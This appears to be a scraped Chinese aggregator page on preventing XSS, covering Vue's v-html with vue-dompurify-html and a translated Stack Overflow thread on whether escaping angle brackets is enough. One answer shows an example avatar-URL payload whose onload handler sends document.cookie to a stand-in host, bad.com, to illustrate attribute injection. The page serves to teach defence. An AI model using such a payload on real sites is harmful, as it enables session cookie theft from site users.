v-html防止XSS注入

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了v-html防止XSS注入相关的知识,希望对你有一定的参考价值。

参考技术A 比如说我们在渲染富文本编辑的文章时,使用XSS会把calss,style过滤掉,那样就渲染不出来了。所以使用vue-dompurify-html,防止xss注入

用 < 和 > 替换 : < 和 > 是不是足以防止 XSS 注入?

【中文标题】用 < 和 > 替换 : < 和 > 是不是足以防止 XSS 注入?【英文标题】:Is replacing : < and > with &lt; and &gt; enough to prevent XSS injection?用 < 和 > 替换 : < 和 > 是否足以防止 XSS 注入? 【发布时间】:2011-01-08 00:15:26 【问题描述】:

我想知道将&lt;&gt;这两个标记是否足以防止XSS注入?

如果不是,为什么?最好的解决方案是什么?

【问题讨论】:

【参考方案1】:

这在很大程度上取决于上下文。

看看这个例子,来自一个典型的论坛网站...

您可以热链接您的头像图片。输入完整的网址。

恶意用户进入输入框

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

那里没有小于和大于的编码,但仍然是一个很大的安全漏洞。

对于htmlspecialchars(),我发现创建(或使用)它的包装函数来转换为字符串是一个好主意,提供了一种更简单的方法来禁用双重编码(如果需要)并确保它使用应用程序的正确字符集。 Kohana 有一个great example。

【讨论】:

嗨,谢谢大家的回答,我问这个是因为我认为所有字符都在数据库中占用更多空间。谢谢 我不会编码进入数据库,但编码出来。通常最好“按原样”存储用户数据,并提供一些机制以使其安全显示。 我完全同意 keep-it-raw-until-it-hits-the-page 方法,但是我强烈建议不要“禁用双引号”,因为它会破坏你的字符串。例如,如果我想说&amp;amp;amp; 在一篇谈论像这样的 HTML 的帖子中,该选项将无法在源代码中将其转义为 &amp;amp;amp;,因此它会在屏幕上显示为 &amp;,使得我看起来像个白痴。编码是一个过程,而不是一个状态。 一般规则是接收数据时做输入验证,输出数据时输出转义。请参阅 OWASP XSS 预防备忘单,了解如何在不同情况下进行逃逸:owasp.org/index.php/…【参考方案2】:

您应该考虑双引号 "、单引号 ' 和 & 符号 &amp;。如果您在显示/生成输出的所有期间都这样做,那么是的,这就足够了。

您只应确保任何用户控制的输入执行此操作,例如请求参数、请求 URL、请求标头和用户控制的输入存储在数据存储中。

在 PHP 中,您可以使用 htmlspecialchars() 来做到这一点,而在 JSP 中,您可以使用 JSTL &lt;c:out&gt; 来做到这一点。

【讨论】:

注意 htmlspecialchars 默认只转义双引号,而不是单引号。但这通常没问题,因为很少使用单引号作为属性分隔符。使用ENT_QUOTES 确保两者兼得。

以上是关于v-html防止XSS注入的主要内容,如果未能解决你的问题,请参考以下文章

SpringMVC如何有效的防止XSS注入?

StringEscapeUtils的常用使用,防止SQL注入及XSS注入

如何防止 XSS 和 SQL 注入

防止 SQL 注入和 XSS

StringEscapeUtils的常用使用,防止SQL注入及XSS注入

用 < 和 > 替换 : < 和 > 是不是足以防止 XSS 注入?